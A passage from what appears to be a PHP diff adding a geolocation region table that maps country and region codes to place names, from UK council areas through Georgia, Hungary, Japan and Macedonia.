"Q5" => "York", + "Q6" => "Antrim", + "Q7" => "Ards", + "Q8" => "Armagh", + "Q9" => "Ballymena", + "R1" => "Ballymoney", + "R2" => "Banbridge", + "R3" => "Belfast", + "R4" => "Carrickfergus", + "R5" => "Castlereagh", + "R6" => "Coleraine", + "R7" => "Cookstown", + "R8" => "Craigavon", + "R9" => "Down", + "S1" => "Dungannon", + "S2" => "Fermanagh", + "S3" => "Larne", + "S4" => "Limavady", + "S5" => "Lisburn", + "S6" => "Derry", + "S7" => "Magherafelt", + "S8" => "Moyle", + "S9" => "Newry and Mourne", + "T1" => "Newtownabbey", + "T2" => "North Down", + "T3" => "Omagh", + "T4" => "Strabane", + "T5" => "Aberdeen City", + "T6" => "Aberdeenshire", + "T7" => "Angus", + "T8" => "Argyll and Bute", + "T9" => "Scottish Borders, The", + "U1" => "Clackmannanshire", + "U2" => "Dumfries and Galloway", + "U3" => "Dundee City", + "U4" => "East Ayrshire", + "U5" => "East Dunbartonshire", + "U6" => "East Lothian", + "U7" => "East Renfrewshire", + "U8" => "Edinburgh, City of", + "U9" => "Falkirk", + "V1" => "Fife", + "V2" => "Glasgow City", + "V3" => "Highland", + "V4" => "Inverclyde", + "V5" => "Midlothian", + "V6" => "Moray", + "V7" => "North Ayrshire", + "V8" => "North Lanarkshire", + "V9" => "Orkney", + "W1" => "Perth and Kinross", + "W2" => "Renfrewshire", + "W3" => "Shetland Islands", + "W4" => "South Ayrshire", + "W5" => "South Lanarkshire", + "W6" => "Stirling", + "W7" => "West Dunbartonshire", + "W8" => "Eilean Siar", + "W9" => "West Lothian", + "X1" => "Isle of Anglesey", + "X2" => "Blaenau Gwent", + "X3" => "Bridgend", + "X4" => "Caerphilly", + "X5" => "Cardiff", + "X6" => "Ceredigion", + "X7" => "Carmarthenshire", + "X8" => "Conwy", + "X9" => "Denbighshire", + "Y1" => "Flintshire", + "Y2" => "Gwynedd", + "Y3" => "Merthyr Tydfil", + "Y4" => "Monmouthshire", + "Y5" => "Neath Port Talbot", + "Y6" => "Newport", + "Y7" => "Pembrokeshire", + "Y8" => "Powys", + "Y9" => "Rhondda Cynon Taff", + "Z1" => "Swansea", + "Z2" => "Torfaen", + "Z3" => "Vale of Glamorgan, The", + "Z4" => "Wrexham"), +"GD" => array( + "01" => "Saint Andrew", + "02" => "Saint David", + "03" => "Saint George", + "04" => "Saint John", + "05" => "Saint Mark", + "06" => "Saint Patrick"), +"GE" => array( + "01" => "Abashis Raioni", + "02" => "Abkhazia", + "03" => "Adigenis Raioni", + "04" => "Ajaria", + "05" => "Akhalgoris Raioni", + "06" => "Akhalk'alak'is Raioni", + "07" => "Akhalts'ikhis Raioni", + "08" => "Akhmetis Raioni", + "09" => "Ambrolauris Raioni", + "10" => "Aspindzis Raioni", + "11" => "Baghdat'is Raioni", + "12" => "Bolnisis Raioni", + "13" => "Borjomis Raioni", + "14" => "Chiat'ura", + "15" => "Ch'khorotsqus Raioni", + "16" => "Ch'okhatauris Raioni", + "17" => "Dedop'listsqaros Raioni", + "18" => "Dmanisis Raioni", + "19" => "Dushet'is Raioni", + "20" => "Gardabanis Raioni", + "21" => "Gori", + "22" => "Goris Raioni", + "23" => "Gurjaanis Raioni", + "24" => "Javis Raioni", + "25" => "K'arelis Raioni", + "26" => "Kaspis Raioni", + "27" => "Kharagaulis Raioni", + "28" => "Khashuris Raioni", + "29" => "Khobis Raioni", + "30" => "Khonis Raioni", + "31" => "K'ut'aisi", + "32" => "Lagodekhis Raioni", + "33" => "Lanch'khut'is Raioni", + "34" => "Lentekhis Raioni", + "35" => "Marneulis Raioni", + "36" => "Martvilis Raioni", + "37" => "Mestiis Raioni", + "38" => "Mts'khet'is Raioni", + "39" => "Ninotsmindis Raioni", + "40" => "Onis Raioni", + "41" => "Ozurget'is Raioni", + "42" => "P'ot'i", + "43" => "Qazbegis Raioni", + "44" => "Qvarlis Raioni", + "45" => "Rust'avi", + "46" => "Sach'kheris Raioni", + "47" => "Sagarejos Raioni", + "48" => "Samtrediis Raioni", + "49" => "Senakis Raioni", + "50" => "Sighnaghis Raioni", + "51" => "T'bilisi", + "52" => "T'elavis Raioni", + "53" => "T'erjolis Raioni", + "54" => "T'et'ritsqaros Raioni", + "55" => "T'ianet'is Raioni", + "56" => "Tqibuli", + "57" => "Ts'ageris Raioni", + "58" => "Tsalenjikhis Raioni", + "59" => "Tsalkis Raioni", + "60" => "Tsqaltubo", + "61" => "Vanis Raioni", + "62" => "Zestap'onis Raioni", + "63" => "Zugdidi", + "64" => "Zugdidis Raioni"), +"GH" => array( + "01" => "Greater Accra", + "02" => "Ashanti", + "03" => "Brong-Ahafo", + "04" => "Central", + "05" => "Eastern", + "06" => "Northern", + "08" => "Volta", + "09" => "Western", + "10" => "Upper East", + "11" => "Upper West"), +"GL" => array( + "01" => "Nordgronland", + "02" => "Ostgronland", + "03" => "Vestgronland"), +"GM" => array( + "01" => "Banjul", + "02" => "Lower River", + "03" => "Central River", + "04" => "Upper River", + "05" => "Western", + "07" => "North Bank"), +"GN" => array( + "01" => "Beyla", + "02" => "Boffa", + "03" => "Boke", + "04" => "Conakry", + "05" => "Dabola", + "06" => "Dalaba", + "07" => "Dinguiraye", + "09" => "Faranah", + "10" => "Forecariah", + "11" => "Fria", + "12" => "Gaoual", + "13" => "Gueckedou", + "15" => "Kerouane", + "16" => "Kindia", + "17" => "Kissidougou", + "18" => "Koundara", + "19" => "Kouroussa", + "21" => "Macenta", + "22" => "Mali", + "23" => "Mamou", + "25" => "Pita", + "27" => "Telimele", + "28" => "Tougue", + "29" => "Yomou", + "30" => "Coyah", + "31" => "Dubreka", + "32" => "Kankan", + "33" => "Koubia", + "34" => "Labe", + "35" => "Lelouma", + "36" => "Lola", + "37" => "Mandiana", + "38" => "Nzerekore", + "39" => "Siguiri"), +"GQ" => array( + "03" => "Annobon", + "04" => "Bioko Norte", + "05" => "Bioko Sur", + "06" => "Centro Sur", + "07" => "Kie-Ntem", + "08" => "Litoral", + "09" => "Wele-Nzas"), +"GR" => array( + "01" => "Evros", + "02" => "Rodhopi", + "03" => "Xanthi", + "04" => "Drama", + "05" => "Serrai", + "06" => "Kilkis", + "07" => "Pella", + "08" => "Florina", + "09" => "Kastoria", + "10" => "Grevena", + "11" => "Kozani", + "12" => "Imathia", + "13" => "Thessaloniki", + "14" => "Kavala", + "15" => "Khalkidhiki", + "16" => "Pieria", + "17" => "Ioannina", + "18" => "Thesprotia", + "19" => "Preveza", + "20" => "Arta", + "21" => "Larisa", + "22" => "Trikala", + "23" => "Kardhitsa", + "24" => "Magnisia", + "25" => "Kerkira", + "26" => "Levkas", + "27" => "Kefallinia", + "28" => "Zakinthos", + "29" => "Fthiotis", + "30" => "Evritania", + "31" => "Aitolia kai Akarnania", + "32" => "Fokis", + "33" => "Voiotia", + "34" => "Evvoia", + "35" => "Attiki", + "36" => "Argolis", + "37" => "Korinthia", + "38" => "Akhaia", + "39" => "Ilia", + "40" => "Messinia", + "41" => "Arkadhia", + "42" => "Lakonia", + "43" => "Khania", + "44" => "Rethimni", + "45" => "Iraklion", + "46" => "Lasithi", + "47" => "Dhodhekanisos", + "48" => "Samos", + "49" => "Kikladhes", + "50" => "Khios", + "51" => "Lesvos"), +"GT" => array( + "01" => "Alta Verapaz", + "02" => "Baja Verapaz", + "03" => "Chimaltenango", + "04" => "Chiquimula", + "05" => "El Progreso", + "06" => "Escuintla", + "07" => "Guatemala", + "08" => "Huehuetenango", + "09" => "Izabal", + "10" => "Jalapa", + "11" => "Jutiapa", + "12" => "Peten", + "13" => "Quetzaltenango", + "14" => "Quiche", + "15" => "Retalhuleu", + "16" => "Sacatepequez", + "17" => "San Marcos", + "18" => "Santa Rosa", + "19" => "Solola", + "20" => "Suchitepequez", + "21" => "Totonicapan", + "22" => "Zacapa"), +"GW" => array( + "01" => "Bafata", + "02" => "Quinara", + "04" => "Oio", + "05" => "Bolama", + "06" => "Cacheu", + "07" => "Tombali", + "10" => "Gabu", + "11" => "Bissau", + "12" => "Biombo"), +"GY" => array( + "10" => "Barima-Waini", + "11" => "Cuyuni-Mazaruni", + "12" => "Demerara-Mahaica", + "13" => "East Berbice-Corentyne", + "14" => "Essequibo Islands-West Demerara", + "15" => "Mahaica-Berbice", + "16" => "Pomeroon-Supenaam", + "17" => "Potaro-Siparuni", + "18" => "Upper Demerara-Berbice", + "19" => "Upper Takutu-Upper Essequibo"), +"HN" => array( + "01" => "Atlantida", + "02" => "Choluteca", + "03" => "Colon", + "04" => "Comayagua", + "05" => "Copan", + "06" => "Cortes", + "07" => "El Paraiso", + "08" => "Francisco Morazan", + "09" => "Gracias a Dios", + "10" => "Intibuca", + "11" => "Islas de la Bahia", + "12" => "La Paz", + "13" => "Lempira", + "14" => "Ocotepeque", + "15" => "Olancho", + "16" => "Santa Barbara", + "17" => "Valle", + "18" => "Yoro"), +"HR" => array( + "01" => "Bjelovarsko-Bilogorska", + "02" => "Brodsko-Posavska", + "03" => "Dubrovacko-Neretvanska", + "04" => "Istarska", + "05" => "Karlovacka", + "06" => "Koprivnicko-Krizevacka", + "07" => "Krapinsko-Zagorska", + "08" => "Licko-Senjska", + "09" => "Medimurska", + "10" => "Osjecko-Baranjska", + "11" => "Pozesko-Slavonska", + "12" => "Primorsko-Goranska", + "13" => "Sibensko-Kninska", + "14" => "Sisacko-Moslavacka", + "15" => "Splitsko-Dalmatinska", + "16" => "Varazdinska", + "17" => "Viroviticko-Podravska", + "18" => "Vukovarsko-Srijemska", + "19" => "Zadarska", + "20" => "Zagrebacka", + "21" => "Grad Zagreb"), +"HT" => array( + "03" => "Nord-Ouest", + "06" => "Artibonite", + "07" => "Centre", + "09" => "Nord", + "10" => "Nord-Est", + "11" => "Ouest", + "12" => "Sud", + "13" => "Sud-Est", + "14" => "Grand' Anse", + "15" => "Nippes"), +"HU" => array( + "01" => "Bacs-Kiskun", + "02" => "Baranya", + "03" => "Bekes", + "04" => "Borsod-Abauj-Zemplen", + "05" => "Budapest", + "06" => "Csongrad", + "07" => "Debrecen", + "08" => "Fejer", + "09" => "Gyor-Moson-Sopron", + "10" => "Hajdu-Bihar", + "11" => "Heves", + "12" => "Komarom-Esztergom", + "13" => "Miskolc", + "14" => "Nograd", + "15" => "Pecs", + "16" => "Pest", + "17" => "Somogy", + "18" => "Szabolcs-Szatmar-Bereg", + "19" => "Szeged", + "20" => "Jasz-Nagykun-Szolnok", + "21" => "Tolna", + "22" => "Vas", + "23" => "Veszprem", + "24" => "Zala", + "25" => "Gyor", + "26" => "Bekescsaba", + "27" => "Dunaujvaros", + "28" => "Eger", + "29" => "Hodmezovasarhely", + "30" => "Kaposvar", + "31" => "Kecskemet", + "32" => "Nagykanizsa", + "33" => "Nyiregyhaza", + "34" => "Sopron", + "35" => "Szekesfehervar", + "36" => "Szolnok", + "37" => "Szombathely", + "38" => "Tatabanya", + "39" => "Veszprem", + "40" => "Zalaegerszeg", + "41" => "Salgotarjan", + "42" => "Szekszard", + "43" => "Erd"), +"ID" => array( + "01" => "Aceh", + "02" => "Bali", + "03" => "Bengkulu", + "04" => "Jakarta Raya", + "05" => "Jambi", + "07" => "Jawa Tengah", + "08" => "Jawa Timur", + "10" => "Yogyakarta", + "11" => "Kalimantan Barat", + "12" => "Kalimantan Selatan", + "13" => "Kalimantan Tengah", + "14" => "Kalimantan Timur", + "15" => "Lampung", + "17" => "Nusa Tenggara Barat", + "18" => "Nusa Tenggara Timur", + "21" => "Sulawesi Tengah", + "22" => "Sulawesi Tenggara", + "24" => "Sumatera Barat", + "26" => "Sumatera Utara", + "28" => "Maluku", + "29" => "Maluku Utara", + "30" => "Jawa Barat", + "31" => "Sulawesi Utara", + "32" => "Sumatera Selatan", + "33" => "Banten", + "34" => "Gorontalo", + "35" => "Kepulauan Bangka Belitung", + "36" => "Papua", + "37" => "Riau", + "38" => "Sulawesi Selatan", + "39" => "Irian Jaya Barat", + "40" => "Kepulauan Riau", + "41" => "Sulawesi Barat"), +"IE" => array( + "01" => "Carlow", + "02" => "Cavan", + "03" => "Clare", + "04" => "Cork", + "06" => "Donegal", + "07" => "Dublin", + "10" => "Galway", + "11" => "Kerry", + "12" => "Kildare", + "13" => "Kilkenny", + "14" => "Leitrim", + "15" => "Laois", + "16" => "Limerick", + "18" => "Longford", + "19" => "Louth", + "20" => "Mayo", + "21" => "Meath", + "22" => "Monaghan", + "23" => "Offaly", + "24" => "Roscommon", + "25" => "Sligo", + "26" => "Tipperary", + "27" => "Waterford", + "29" => "Westmeath", + "30" => "Wexford", + "31" => "Wicklow"), +"IL" => array( + "01" => "HaDarom", + "02" => "HaMerkaz", + "03" => "HaZafon", + "04" => "Hefa", + "05" => "Tel Aviv", + "06" => "Yerushalayim"), +"IN" => array( + "01" => "Andaman and Nicobar Islands", + "02" => "Andhra Pradesh", + "03" => "Assam", + "05" => "Chandigarh", + "06" => "Dadra and Nagar Haveli", + "07" => "Delhi", + "09" => "Gujarat", + "10" => "Haryana", + "11" => "Himachal Pradesh", + "12" => "Jammu and Kashmir", + "13" => "Kerala", + "14" => "Lakshadweep", + "16" => "Maharashtra", + "17" => "Manipur", + "18" => "Meghalaya", + "19" => "Karnataka", + "20" => "Nagaland", + "21" => "Orissa", + "22" => "Puducherry", + "23" => "Punjab", + "24" => "Rajasthan", + "25" => "Tamil Nadu", + "26" => "Tripura", + "28" => "West Bengal", + "29" => "Sikkim", + "30" => "Arunachal Pradesh", + "31" => "Mizoram", + "32" => "Daman and Diu", + "33" => "Goa", + "34" => "Bihar", + "35" => "Madhya Pradesh", + "36" => "Uttar Pradesh", + "37" => "Chhattisgarh", + "38" => "Jharkhand", + "39" => "Uttarakhand"), +"IQ" => array( + "01" => "Al Anbar", + "02" => "Al Basrah", + "03" => "Al Muthanna", + "04" => "Al Qadisiyah", + "05" => "As Sulaymaniyah", + "06" => "Babil", + "07" => "Baghdad", + "08" => "Dahuk", + "09" => "Dhi Qar", + "10" => "Diyala", + "11" => "Arbil", + "12" => "Karbala'", + "13" => "At Ta'mim", + "14" => "Maysan", + "15" => "Ninawa", + "16" => "Wasit", + "17" => "An Najaf", + "18" => "Salah ad Din"), +"IR" => array( + "01" => "Azarbayjan-e Bakhtari", + "03" => "Chahar Mahall va Bakhtiari", + "04" => "Sistan va Baluchestan", + "05" => "Kohkiluyeh va Buyer Ahmadi", + "07" => "Fars", + "08" => "Gilan", + "09" => "Hamadan", + "10" => "Ilam", + "11" => "Hormozgan", + "12" => "Kerman", + "13" => "Bakhtaran", + "15" => "Khuzestan", + "16" => "Kordestan", + "17" => "Mazandaran", + "18" => "Semnan Province", + "19" => "Markazi", + "21" => "Zanjan", + "22" => "Bushehr", + "23" => "Lorestan", + "24" => "Markazi", + "25" => "Semnan", + "26" => "Tehran", + "27" => "Zanjan", + "28" => "Esfahan", + "29" => "Kerman", + "30" => "Khorasan", + "31" => "Yazd", + "32" => "Ardabil", + "33" => "East Azarbaijan", + "34" => "Markazi", + "35" => "Mazandaran", + "36" => "Zanjan", + "37" => "Golestan", + "38" => "Qazvin", + "39" => "Qom", + "40" => "Yazd", + "41" => "Khorasan-e Janubi", + "42" => "Khorasan-e Razavi", + "43" => "Khorasan-e Shemali"), +"IS" => array( + "03" => "Arnessysla", + "05" => "Austur-Hunavatnssysla", + "06" => "Austur-Skaftafellssysla", + "07" => "Borgarfjardarsysla", + "09" => "Eyjafjardarsysla", + "10" => "Gullbringusysla", + "15" => "Kjosarsysla", + "17" => "Myrasysla", + "20" => "Nordur-Mulasysla", + "21" => "Nordur-Tingeyjarsysla", + "23" => "Rangarvallasysla", + "28" => "Skagafjardarsysla", + "29" => "Snafellsnes- og Hnappadalssysla", + "30" => "Strandasysla", + "31" => "Sudur-Mulasysla", + "32" => "Sudur-Tingeyjarsysla", + "34" => "Vestur-Bardastrandarsysla", + "35" => "Vestur-Hunavatnssysla", + "36" => "Vestur-Isafjardarsysla", + "37" => "Vestur-Skaftafellssysla", + "40" => "Norourland Eystra", + "41" => "Norourland Vestra", + "42" => "Suourland", + "43" => "Suournes", + "44" => "Vestfiroir", + "45" => "Vesturland"), +"IT" => array( + "01" => "Abruzzi", + "02" => "Basilicata", + "03" => "Calabria", + "04" => "Campania", + "05" => "Emilia-Romagna", + "06" => "Friuli-Venezia Giulia", + "07" => "Lazio", + "08" => "Liguria", + "09" => "Lombardia", + "10" => "Marche", + "11" => "Molise", + "12" => "Piemonte", + "13" => "Puglia", + "14" => "Sardegna", + "15" => "Sicilia", + "16" => "Toscana", + "17" => "Trentino-Alto Adige", + "18" => "Umbria", + "19" => "Valle d'Aosta", + "20" => "Veneto"), +"JM" => array( + "01" => "Clarendon", + "02" => "Hanover", + "04" => "Manchester", + "07" => "Portland", + "08" => "Saint Andrew", + "09" => "Saint Ann", + "10" => "Saint Catherine", + "11" => "Saint Elizabeth", + "12" => "Saint James", + "13" => "Saint Mary", + "14" => "Saint Thomas", + "15" => "Trelawny", + "16" => "Westmoreland", + "17" => "Kingston"), +"JO" => array( + "02" => "Al Balqa'", + "09" => "Al Karak", + "12" => "At Tafilah", + "15" => "Al Mafraq", + "16" => "Amman", + "17" => "Az Zaraqa", + "18" => "Irbid", + "19" => "Ma'an", + "20" => "Ajlun", + "21" => "Al Aqabah", + "22" => "Jarash", + "23" => "Madaba"), +"JP" => array( + "01" => "Aichi", + "02" => "Akita", + "03" => "Aomori", + "04" => "Chiba", + "05" => "Ehime", + "06" => "Fukui", + "07" => "Fukuoka", + "08" => "Fukushima", + "09" => "Gifu", + "10" => "Gumma", + "11" => "Hiroshima", + "12" => "Hokkaido", + "13" => "Hyogo", + "14" => "Ibaraki", + "15" => "Ishikawa", + "16" => "Iwate", + "17" => "Kagawa", + "18" => "Kagoshima", + "19" => "Kanagawa", + "20" => "Kochi", + "21" => "Kumamoto", + "22" => "Kyoto", + "23" => "Mie", + "24" => "Miyagi", + "25" => "Miyazaki", + "26" => "Nagano", + "27" => "Nagasaki", + "28" => "Nara", + "29" => "Niigata", + "30" => "Oita", + "31" => "Okayama", + "32" => "Osaka", + "33" => "Saga", + "34" => "Saitama", + "35" => "Shiga", + "36" => "Shimane", + "37" => "Shizuoka", + "38" => "Tochigi", + "39" => "Tokushima", + "40" => "Tokyo", + "41" => "Tottori", + "42" => "Toyama", + "43" => "Wakayama", + "44" => "Yamagata", + "45" => "Yamaguchi", + "46" => "Yamanashi", + "47" => "Okinawa"), +"KE" => array( + "01" => "Central", + "02" => "Coast", + "03" => "Eastern", + "05" => "Nairobi Area", + "06" => "North-Eastern", + "07" => "Nyanza", + "08" => "Rift Valley", + "09" => "Western"), +"KG" => array( + "01" => "Bishkek", + "02" => "Chuy", + "03" => "Jalal-Abad", + "04" => "Naryn", + "05" => "Osh", + "06" => "Talas", + "07" => "Ysyk-Kol", + "08" => "Osh", + "09" => "Batken"), +"KH" => array( + "01" => "Batdambang", + "02" => "Kampong Cham", + "03" => "Kampong Chhnang", + "04" => "Kampong Speu", + "05" => "Kampong Thum", + "06" => "Kampot", + "07" => "Kandal", + "08" => "Koh Kong", + "09" => "Kracheh", + "10" => "Mondulkiri", + "11" => "Phnum Penh", + "12" => "Pursat", + "13" => "Preah Vihear", + "14" => "Prey Veng", + "15" => "Ratanakiri Kiri", + "16" => "Siem Reap", + "17" => "Stung Treng", + "18" => "Svay Rieng", + "19" => "Takeo", + "25" => "Banteay Meanchey", + "29" => "Batdambang", + "30" => "Pailin"), +"KI" => array( + "01" => "Gilbert Islands", + "02" => "Line Islands", + "03" => "Phoenix Islands"), +"KM" => array( + "01" => "Anjouan", + "02" => "Grande Comore", + "03" => "Moheli"), +"KN" => array( + "01" => "Christ Church Nichola Town", + "02" => "Saint Anne Sandy Point", + "03" => "Saint George Basseterre", + "04" => "Saint George Gingerland", + "05" => "Saint James Windward", + "06" => "Saint John Capisterre", + "07" => "Saint John Figtree", + "08" => "Saint Mary Cayon", + "09" => "Saint Paul Capisterre", + "10" => "Saint Paul Charlestown", + "11" => "Saint Peter Basseterre", + "12" => "Saint Thomas Lowland", + "13" => "Saint Thomas Middle Island", + "15" => "Trinity Palmetto Point"), +"KP" => array( + "01" => "Chagang-do", + "03" => "Hamgyong-namdo", + "06" => "Hwanghae-namdo", + "07" => "Hwanghae-bukto", + "08" => "Kaesong-si", + "09" => "Kangwon-do", + "11" => "P'yongan-bukto", + "12" => "P'yongyang-si", + "13" => "Yanggang-do", + "14" => "Namp'o-si", + "15" => "P'yongan-namdo", + "17" => "Hamgyong-bukto", + "18" => "Najin Sonbong-si"), +"KR" => array( + "01" => "Cheju-do", + "03" => "Cholla-bukto", + "05" => "Ch'ungch'ong-bukto", + "06" => "Kangwon-do", + "10" => "Pusan-jikhalsi", + "11" => "Seoul-t'ukpyolsi", + "12" => "Inch'on-jikhalsi", + "13" => "Kyonggi-do", + "14" => "Kyongsang-bukto", + "15" => "Taegu-jikhalsi", + "16" => "Cholla-namdo", + "17" => "Ch'ungch'ong-namdo", + "18" => "Kwangju-jikhalsi", + "19" => "Taejon-jikhalsi", + "20" => "Kyongsang-namdo", + "21" => "Ulsan-gwangyoksi"), +"KW" => array( + "01" => "Al Ahmadi", + "02" => "Al Kuwayt", + "05" => "Al Jahra", + "07" => "Al Farwaniyah", + "08" => "Hawalli", + "09" => "Mubarak al Kabir"), +"KY" => array( + "01" => "Creek", + "02" => "Eastern", + "03" => "Midland", + "04" => "South Town", + "05" => "Spot Bay", + "06" => "Stake Bay", + "07" => "West End", + "08" => "Western"), +"KZ" => array( + "01" => "Almaty", + "02" => "Almaty City", + "03" => "Aqmola", + "04" => "Aqtobe", + "05" => "Astana", + "06" => "Atyrau", + "07" => "West Kazakhstan", + "08" => "Bayqonyr", + "09" => "Mangghystau", + "10" => "South Kazakhstan", + "11" => "Pavlodar", + "12" => "Qaraghandy", + "13" => "Qostanay", + "14" => "Qyzylorda", + "15" => "East Kazakhstan", + "16" => "North Kazakhstan", + "17" => "Zhambyl"), +"LA" => array( + "01" => "Attapu", + "02" => "Champasak", + "03" => "Houaphan", + "04" => "Khammouan", + "05" => "Louang Namtha", + "07" => "Oudomxai", + "08" => "Phongsali", + "09" => "Saravan", + "10" => "Savannakhet", + "11" => "Vientiane", + "13" => "Xaignabouri", + "14" => "Xiangkhoang", + "17" => "Louangphrabang"), +"LB" => array( + "01" => "Beqaa", + "02" => "Al Janub", + "03" => "Liban-Nord", + "04" => "Beyrouth", + "05" => "Mont-Liban", + "06" => "Liban-Sud", + "07" => "Nabatiye", + "08" => "Beqaa", + "09" => "Liban-Nord", + "10" => "Aakk,r", + "11" => "Baalbek-Hermel"), +"LC" => array( + "01" => "Anse-la-Raye", + "02" => "Dauphin", + "03" => "Castries", + "04" => "Choiseul", + "05" => "Dennery", + "06" => "Gros-Islet", + "07" => "Laborie", + "08" => "Micoud", + "09" => "Soufriere", + "10" => "Vieux-Fort", + "11" => "Praslin"), +"LI" => array( + "01" => "Balzers", + "02" => "Eschen", + "03" => "Gamprin", + "04" => "Mauren", + "05" => "Planken", + "06" => "Ruggell", + "07" => "Schaan", + "08" => "Schellenberg", + "09" => "Triesen", + "10" => "Triesenberg", + "11" => "Vaduz", + "21" => "Gbarpolu", + "22" => "River Gee"), +"LK" => array( + "01" => "Amparai", + "02" => "Anuradhapura", + "03" => "Badulla", + "04" => "Batticaloa", + "06" => "Galle", + "07" => "Hambantota", + "09" => "Kalutara", + "10" => "Kandy", + "11" => "Kegalla", + "12" => "Kurunegala", + "14" => "Matale", + "15" => "Matara", + "16" => "Moneragala", + "17" => "Nuwara Eliya", + "18" => "Polonnaruwa", + "19" => "Puttalam", + "20" => "Ratnapura", + "21" => "Trincomalee", + "23" => "Colombo", + "24" => "Gampaha", + "25" => "Jaffna", + "26" => "Mannar", + "27" => "Mullaittivu", + "28" => "Vavuniya", + "29" => "Central", + "30" => "North Central", + "31" => "Northern", + "32" => "North Western", + "33" => "Sabaragamuwa", + "34" => "Southern", + "35" => "Uva", + "36" => "Western"), +"LR" => array( + "01" => "Bong", + "04" => "Grand Cape Mount", + "05" => "Lofa", + "06" => "Maryland", + "07" => "Monrovia", + "09" => "Nimba", + "10" => "Sino", + "11" => "Grand Bassa", + "12" => "Grand Cape Mount", + "13" => "Maryland", + "14" => "Montserrado", + "17" => "Margibi", + "18" => "River Cess", + "19" => "Grand Gedeh", + "20" => "Lofa", + "21" => "Gbarpolu", + "22" => "River Gee"), +"LS" => array( + "10" => "Berea", + "11" => "Butha-Buthe", + "12" => "Leribe", + "13" => "Mafeteng", + "14" => "Maseru", + "15" => "Mohales Hoek", + "16" => "Mokhotlong", + "17" => "Qachas Nek", + "18" => "Quthing", + "19" => "Thaba-Tseka"), +"LT" => array( + "56" => "Alytaus Apskritis", + "57" => "Kauno Apskritis", + "58" => "Klaipedos Apskritis", + "59" => "Marijampoles Apskritis", + "60" => "Panevezio Apskritis", + "61" => "Siauliu Apskritis", + "62" => "Taurages Apskritis", + "63" => "Telsiu Apskritis", + "64" => "Utenos Apskritis", + "65" => "Vilniaus Apskritis"), +"LU" => array( + "01" => "Diekirch", + "02" => "Grevenmacher", + "03" => "Luxembourg"), +"LV" => array( + "01" => "Aizkraukles", + "02" => "Aluksnes", + "03" => "Balvu", + "04" => "Bauskas", + "05" => "Cesu", + "06" => "Daugavpils", + "07" => "Daugavpils", + "08" => "Dobeles", + "09" => "Gulbenes", + "10" => "Jekabpils", + "11" => "Jelgava", + "12" => "Jelgavas", + "13" => "Jurmala", + "14" => "Kraslavas", + "15" => "Kuldigas", + "16" => "Liepaja", + "17" => "Liepajas", + "18" => "Limbazu", + "19" => "Ludzas", + "20" => "Madonas", + "21" => "Ogres", + "22" => "Preilu", + "23" => "Rezekne", + "24" => "Rezeknes", + "25" => "Riga", + "26" => "Rigas", + "27" => "Saldus", + "28" => "Talsu", + "29" => "Tukuma", + "30" => "Valkas", + "31" => "Valmieras", + "32" => "Ventspils", + "33" => "Ventspils"), +"LY" => array( + "03" => "Al Aziziyah", + "05" => "Al Jufrah", + "08" => "Al Kufrah", + "13" => "Ash Shati'", + "30" => "Murzuq", + "34" => "Sabha", + "41" => "Tarhunah", + "42" => "Tubruq", + "45" => "Zlitan", + "47" => "Ajdabiya", + "48" => "Al Fatih", + "49" => "Al Jabal al Akhdar", + "50" => "Al Khums", + "51" => "An Nuqat al Khams", + "52" => "Awbari", + "53" => "Az Zawiyah", + "54" => "Banghazi", + "55" => "Darnah", + "56" => "Ghadamis", + "57" => "Gharyan", + "58" => "Misratah", + "59" => "Sawfajjin", + "60" => "Surt", + "61" => "Tarabulus", + "62" => "Yafran"), +"MA" => array( + "45" => "Grand Casablanca", + "46" => "Fes-Boulemane", + "47" => "Marrakech-Tensift-Al Haouz", + "48" => "Meknes-Tafilalet", + "49" => "Rabat-Sale-Zemmour-Zaer", + "50" => "Chaouia-Ouardigha", + "51" => "Doukkala-Abda", + "52" => "Gharb-Chrarda-Beni Hssen", + "53" => "Guelmim-Es Smara", + "54" => "Oriental", + "55" => "Souss-Massa-Dr,a", + "56" => "Tadla-Azilal", + "57" => "Tanger-Tetouan", + "58" => "Taza-Al Hoceima-Taounate", + "59" => "La,youne-Boujdour-Sakia El Hamra"), +"MC" => array( + "01" => "La Condamine", + "02" => "Monaco", + "03" => "Monte-Carlo"), +"MD" => array( + "51" => "Gagauzia", + "57" => "Chisinau", + "58" => "Stinga Nistrului", + "59" => "Anenii Noi", + "60" => "Balti", + "61" => "Basarabeasca", + "62" => "Bender", + "63" => "Briceni", + "64" => "Cahul", + "65" => "Cantemir", + "66" => "Calarasi", + "67" => "Causeni", + "68" => "Cimislia", + "69" => "Criuleni", + "70" => "Donduseni", + "71" => "Drochia", + "72" => "Dubasari", + "73" => "Edinet", + "74" => "Falesti", + "75" => "Floresti", + "76" => "Glodeni", + "77" => "Hincesti", + "78" => "Ialoveni", + "79" => "Leova", + "80" => "Nisporeni", + "81" => "Ocnita", + "82" => "Orhei", + "83" => "Rezina", + "84" => "Riscani", + "85" => "Singerei", + "86" => "Soldanesti", + "87" => "Soroca", + "88" => "Stefan-Voda", + "89" => "Straseni", + "90" => "Taraclia", + "91" => "Telenesti", + "92" => "Ungheni"), +"MG" => array( + "01" => "Antsiranana", + "02" => "Fianarantsoa", + "03" => "Mahajanga", + "04" => "Toamasina", + "05" => "Antananarivo", + "06" => "Toliara"), +"MK" => array( + "01" => "Aracinovo", + "02" => "Bac", + "03" => "Belcista", + "04" => "Berovo", + "05" => "Bistrica", + "06" => "Bitola", + "07" => "Blatec", + "08" => "Bogdanci", + "09" => "Bogomila", + "10" => "Bogovinje", + "11" => "Bosilovo", + "12" => "Brvenica", + "13" => "Cair", + "14" => "Capari", + "15" => "Caska", + "16" => "Cegrane", + "17" => "Centar", + "18" => "Centar Zupa", + "19" => "Cesinovo", + "20" => "Cucer-Sandevo", + "21" => "Debar", + "22" => "Delcevo", + "23" => "Delogozdi", + "24" => "Demir Hisar", + "25" => "Demir Kapija", + "26" => "Dobrusevo", + "27" => "Dolna Banjica", + "28" => "Dolneni", + "29" => "Dorce Petrov", + "30" => "Drugovo", + "31" => "Dzepciste", + "32" => "Gazi Baba", + "33" => "Gevgelija", + "34" => "Gostivar", + "35" => "Gradsko", + "36" => "Ilinden", + "37" => "Izvor", + "38" => "Jegunovce", + "39" => "Kamenjane", + "40" => "Karbinci", + "41" => "Karpos", + "42" => "Kavadarci", + "43" => "Kicevo", + "44" => "Kisela Voda", + "45" => "Klecevce", + "46" => "Kocani", + "47" => "Konce", + "48" => "Kondovo", + "49" => "Konopiste", + "50" => "Kosel", + "51" => "Kratovo", + "52" => "Kriva Palanka", + "53" => "Krivogastani", + "54" => "Krusevo", + "55" => "Kuklis", + "56" => "Kukurecani", + "57" => 